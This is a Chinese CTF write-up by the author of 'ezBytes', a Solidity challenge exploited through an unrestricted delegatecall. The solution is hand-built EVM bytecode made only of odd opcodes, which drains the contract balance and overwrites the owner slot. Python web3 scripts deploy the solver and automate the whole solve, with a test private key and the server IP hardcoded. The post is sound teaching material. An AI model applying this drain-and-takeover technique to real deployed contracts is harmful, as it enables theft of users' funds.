ezBytes-出题记录/wp

Sl0th Lv4

ezBytes

0x00 序言

校赛出的一道智能合约的wp,记录一下

0x01 环境基本配置

钱包连接私链

首先需要准备一个metamask(一个钱包软件,浏览器插件),随意注册一个账号即可(网上教程很多,这里不赘述,可以参考https://www.bilibili.com/video/BV1Ca411n7ta?p=7&vd_source=5ec02b685bc73487523c9c6794fde5c4 p7)

image-20231128202757837
image-20231128202757837

新建网络,加入题目的rpc(私链),chain ID会自动识别(图中报错高速chain id是23896,更改即可),货币符号填写ETH

image-20231128203720784
image-20231128203720784

查看私钥

image-20231128205729043
image-20231128205729043
image-20231128205751032
image-20231128205751032

之后输入密码即可获取账户的私钥

faucet(水龙头)获取测试币

只需要把公钥输入即可获取1ETH(cd 1分钟)

image-20231128205414832
image-20231128205414832

题目合约部署

首先访问题目创建一个deployer账户,注意:只能知道该用户的公钥,不知道私钥,而最后部署solver合约时需要账户的私钥,因此需要用到上面那个用metamask钱包软件创建的用户。

image-20231128205847508
image-20231128205847508

token也需要保存,题目后面会用来部署题目合约,同时这里最后提示了需要向deployer用户转1.002测试币以部署合约

先用水龙头向deployer用户转2个测试币(可以给自己用metamask创的号也转2个测试币),接下来就可以选择2进行challenge合约的部署了

image-20231128210457365
image-20231128210457365

可以看到成功部署了合约,合约地址为0xee7Cc887214b782563D9E4D42A124684e20E15bd

题目也提示了需要让isSloved()返回true

Remix IDE在线部署题目合约

访问选项4可以获取合约的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
contract ezBytes{
address public i_owner;
bytes32 private password="jnctf2023";
constructor() payable public{
i_owner = msg.sender;

}
modifier onlyOwner {
if(msg.sender != i_owner) { require(false); }
_;
}
function challenge(address _yourContractAdd) public payable{

uint256 size;
bytes memory your_code;

assembly{
size := extcodesize(_yourContractAdd)
your_code := mload(0x40)
mstore(0x40, add(your_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(your_code, size)
extcodecopy(_yourContractAdd, add(your_code, 0x20), 0, size)
}
for(uint256 i = 0; i < your_code.length; i++) {
require(int(uint8(your_code[i])) != 0xff,"Nop");
require(int(uint8(your_code[i])) != 0xf5,"Nop");
require(int(uint8(your_code[i])) != 0x01,"Nop");
require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 );
}
(bool success, ) = _yourContractAdd.delegatecall("");
require(success,"Delegatecall failed");
}
function check() public view returns(bool){
return address(this).balance == 0;
}
function changePassword(bytes32 str)onlyOwner payable public{
password=str;
}
function checkPassword() public view returns (bool){
return password=="22222222222222";
}

function isSolved() public view returns (bool) {
bool flag1=check();
require(flag1,"Oops, there is still a balance in the contract account.");
bool flag2=checkPassword();
require(flag2,"Password is wrong.");
return flag1&&flag2 ;

}

}

打开在线IDE Remix https://remix.ethereum.org/ (需要科学上网🧐💡)新建一个ezBytes.sol文件,编译选项页面记得选择编译器版本为源码开头标识的0.7.2, 编译成功后即可部署

image-20231128210842347
image-20231128210842347

切换到部署界面,选择环境为metamask,这样才能访问到私链上的合约,在At Address处写下刚才获取的challenge合约地址0xee7Cc887214b782563D9E4D42A124684e20E15bd

image-20231128211753657
image-20231128211753657

点击“At Address”即可得到challenge合约

image-20231128211834506
image-20231128211834506

0x02 合约分析

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
contract ezBytes{
address public i_owner;
bytes32 private password="jnctf2023";
constructor() payable public{
i_owner = msg.sender;//初始化i_owner,由于合约构造函数执行的那个交易是deployer账号发起的,因此i_owner就对标了合约所有者
}
modifier onlyOwner {//被onlyOwner修饰的函数只有合约所有者才能执行
if(msg.sender != i_owner) { require(false); }
_;
}
function challenge(address _yourContractAdd) public payable{

uint256 size;
bytes memory your_code;

assembly{//动态获取给定合约地址 _yourContractAdd 的代码,然后将其复制到以 mload(0x40) 为起始位置的内存中,后面的三行主要是为了保证size
size := extcodesize(_yourContractAdd)
your_code := mload(0x40)
mstore(0x40, add(your_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))//保证是32字节的倍数
mstore(your_code, size)
extcodecopy(_yourContractAdd, add(your_code, 0x20), 0, size)//从目标合约的开头复制size大小的字节到内存中
}
for(uint256 i = 0; i < your_code.length; i++) {
require(int(uint8(your_code[i])) != 0xff,"Nop");
require(int(uint8(your_code[i])) != 0xf5,"Nop");
require(int(uint8(your_code[i])) != 0x01,"Nop");
require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 );
}
(bool success, ) = _yourContractAdd.delegatecall("");
require(success,"Delegatecall failed");
}
function check() public view returns(bool){
return address(this).balance == 0;
}
function changePassword(bytes32 str)onlyOwner payable public{//
password=str;
}
function checkPassword() public view returns (bool){
return password=="22222222222222";
}

function isSolved() public view returns (bool) {
bool flag1=check();
require(flag1,"Oops, there is still a balance in the contract account.");
bool flag2=checkPassword();
require(flag2,"Password is wrong.");
return flag1&&flag2 ;
}
}

首先看到最终需要让其返回true的isSolved函数总共需要解决两个条件

  • 盗取合约内的所有balance(余额)
  • 修改password(changePassword函数只有合约所有者才可以执行)

很明显看到challenge函数有合约地址可控的delegatecall调用

漏洞点分析

delegatecall调用很容易可以联想到委托调用漏洞,delegatecall的参数是函数的abi,简单来说只要delegatecall参数,及前面的addr都可控,就能实现当前合约执行任意合约的任意方法(相当于直接把那个函数插入到当前合约代码中直接执行)

image-20231128213125822
image-20231128213125822

可以看到上面A合约通过委托调用了B合约的方法修改了自身的属性

这里再加一个概念Slot,以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------

编译时将严格根据字段排序顺序(*),从位置 0 开始连续放置在存储中。如果可能的话,大小少于 32 字节的多个变量会被打包到一个插槽中,而当某项数据超过 32 字节,则需要占用多个连续插槽

如下合约

1
2
3
4
5
6
7
8
pragma solidity ^0.4.0;

contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}

存储布局如下

1
2
3
4
5
6
7
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------

再看一下对于delegatecall调用的字节码的限制,题目合约中会先将目标合约的字节码先复制过来逐字节检查

1
2
3
4
5
6
for(uint256 i = 0; i < your_code.length; i++) {
require(int(uint8(your_code[i])) != 0xff,"Nop");
require(int(uint8(your_code[i])) != 0xf5,"Nop");
require(int(uint8(your_code[i])) != 0x01,"Nop");
require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 );
}

限制了不能用

  • 0xff(自毁合约指令可以让合约自行销毁,并将账户中的ETH余额发送到指定地址)
  • 0xf5(CREATE2,可以部署一个新合约并发送指定数量wei的ETH)
  • 0x01(ADD)
  • 所有偶数的Opcodes
  • 0x00(STOP)

盗取合约内余额

先介绍几个EVM Opcode

更多Opcode可以参考https://www.evm.codes/?fork=shanghai

  • SELFBALANCE:将合约余额压入栈中,单位为wei

  • SSTORE:将栈顶的两个元素视为key和value(栈顶),将value赋值给第key个slot

  • CALL:创建一个子环境来执行其他合约的部分代码,发送ETH,并返回success(发送ETH是否成功)

    CALL会从堆栈中弹出7个参数,依次为:

    • gas:为这次调用分配的gas量。
    • to:被调用合约的地址。
    • value:要发送的以太币数量,单位为wei
    • mem_in_start:输入数据(calldata)在内存的起始位置。
    • mem_in_size:输入数据的长度。
    • mem_out_start:返回数据(returnData)在内存的起始位置。
    • mem_out_size:返回数据的长度。

可以构造7个栈输入使得合约余额全部转到某个地址,下面示例是直接转到0地址

1
2
3
4
5
6
7
8
PUSH2 0x0000
PUSH2 0x0000
PUSH2 0x0000
PUSH2 0x0000
SELFBALANCE
PUSH2 0x0000
PUSH2 0x0000
CALL

这里用PUSH2是因为限制不能用偶数的Opcode

修改合约所有者

由于源码中i_owner处于slot 0

1
2
3
4
5
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
contract ezBytes{
address public i_owner;
//...

可以利用SSTORE以及CALLER,把调用合约的合约地址(我们自身)赋值给slot 0

1
2
3
CALLER           //把调用者地址压入栈 
PUSH2 0x0000 // 将0x0000压入栈
SSTORE // 存储数据到状态变量

综合一下总体的字节码

1
2
3
4
5
6
7
8
PUSH2 0x0000
PUSH2 0x0000
PUSH2 0x0000
PUSH2 0x0000
SELFBALANCE
PUSH2 0x0000
PUSH2 0x0000
CALL

最后需要加上常规的合约准备工作,把后面需要的25字节的字节码拷贝到内存,这25字节也是后续题目合约的内联汇编中通过extcodesize以及extcodecopy能接触到的字节码

1
2
3
4
5
6
7
PUSH1 0x19         // 将0x19压入栈
DUP1 // 复制栈顶元素
PUSH1 0x09 // 将0x09压入栈
RETURNDATASIZE // 获取上一个外部调用的返回数据的大小,防止覆盖
CODECOPY // 将合约代码拷贝到内存
RETURNDATASIZE // 获取返回数据的大小
F3 *RETURN // 返回

这里其实就是把0x09后的25字节拷贝的内存中,而上面的准备部分刚好是9个字节

这一段是在合约部署的时候执行的

部署slover合约

slover合约是一个工具人合约,用来被上面的字节码替换,部署的话得使用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from web3 import Web3
from solcx import compile_files, install_solc
from Crypto.Util.number import bytes_to_long


# HTTPProvider:
w3 = Web3(Web3.HTTPProvider('http://43.143.170.225:20001'))
assert(w3.is_connected())

def create_new_account():
keys = w3.eth.account.create()
address = w3.to_checksum_address(keys.address)
privateKey = hex(bytes_to_long(keys.key))
return (address, privateKey)


privateKey = 'xxxxxxxxxxxxxxxxxx'
account = w3.eth.account.from_key(privateKey)
print('player_address: ' + account.address)

def send_transaction(account, func, args=()):
nonce = w3.eth.get_transaction_count(account.address)
txn = func(*args).build_transaction({
'from': account.address,
"gasPrice": w3.eth.gas_price,
'nonce': nonce
})
signed_txn = w3.eth.account.sign_transaction(txn, account.key)
txn_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)
return txn_receipt

install_solc(version="0.7.2")
compiled_sol = compile_files('Chall.sol', output_values=['abi', 'bin'], solc_version="0.7.2")


challenge_address = 'xxxxxxxxxxxxxxxxxx'
challenge_abi = compiled_sol['Chall.sol:ezBytes']['abi']
challenge_contract = w3.eth.contract(address=challenge_address, abi=challenge_abi)

contract_interface = compiled_sol['Chall.sol:Solver']
solver_abi = contract_interface['abi']
solver_bytecode = '60198060093d393df3610000610000610000610000473361000055610000610000f1'
solver_contract = w3.eth.contract(abi=solver_abi, bytecode=solver_bytecode)

print('Creating solver contract...')
solver_address = send_transaction(account, solver_contract.constructor).contractAddress
print(solver_address)

运行得到slover合约地址,可以使用Remix IDE直接调用challenge函数

image-20231129023343884
image-20231129023343884

现在check函数已经返回了true,说吗合约内余额已清空,再查看合约所有者,也更改成当前账户

image-20231129023536722
image-20231129023536722

现在已经可以调用changePassword来修改密码了,注意要输入16进制修饰,完整的32字节 0x3232323232323232323232323232000000000000000000000000000000000000

image-20231129023719689
image-20231129023719689

image-20231129023912725
image-20231129023912725

image-20231129024003714
image-20231129024003714

0x03 一把梭脚本

需要手动替换题目地址和私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from web3 import Web3
from solcx import compile_files, install_solc
from Crypto.Util.number import bytes_to_long


# HTTPProvider:
w3 = Web3(Web3.HTTPProvider('http://43.143.170.225:20001'))
assert(w3.is_connected())

def create_new_account():
keys = w3.eth.account.create()
address = w3.to_checksum_address(keys.address)
privateKey = hex(bytes_to_long(keys.key))
return (address, privateKey)

'''
address, privateKey = create_new_account()
print(privateKey)
'''

privateKey = '0x5bc768688b09f8df514db9f99214bc7ecf6c7772a7bb9a61e1d4430e621044a2'
account = w3.eth.account.from_key(privateKey)
print('player_address: ' + account.address)

def send_transaction(account, func, args=()):
nonce = w3.eth.get_transaction_count(account.address)
txn = func(*args).build_transaction({
'from': account.address,
"gasPrice": w3.eth.gas_price,
'nonce': nonce
})
signed_txn = w3.eth.account.sign_transaction(txn, account.key)
txn_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)
return txn_receipt

install_solc(version="0.7.2")
compiled_sol = compile_files('Chall.sol', output_values=['abi', 'bin'], solc_version="0.7.2")


challenge_address = '0x7E289572f980aA581d5811cEA39e5dC9fc182e79'
challenge_abi = compiled_sol['Chall.sol:ezBytes']['abi']
challenge_contract = w3.eth.contract(address=challenge_address, abi=challenge_abi)
#if challenge_contract.functions.isSolved().call():
# print('Already solved.')
# exit(0)

contract_interface = compiled_sol['Chall.sol:Solver']
solver_abi = contract_interface['abi']
solver_bytecode = '60198060093d393df3610000610000610000610000473361000055610000610000f1'
solver_contract = w3.eth.contract(abi=solver_abi, bytecode=solver_bytecode)

print('Creating solver contract...')
solver_address = send_transaction(account, solver_contract.constructor).contractAddress
print('Done, solver_address: ' + solver_address)

print('Solving...')
send_transaction(account, challenge_contract.functions.challenge, (solver_address, ))

if challenge_contract.functions.check().call():
print('Solved')
else:
print('Error')
send_transaction(account, challenge_contract.functions.changePassword, ("0x3232323232323232323232323232000000000000000000000000000000000000", ))
if challenge_contract.functions.isSolved().call():
print('Success')
else:
print('No')
  • 标题: ezBytes-出题记录/wp
  • 作者: Sl0th
  • 创建于 : 2023-10-02 12:30:12
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/10/02/ezBytes-出题记录-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论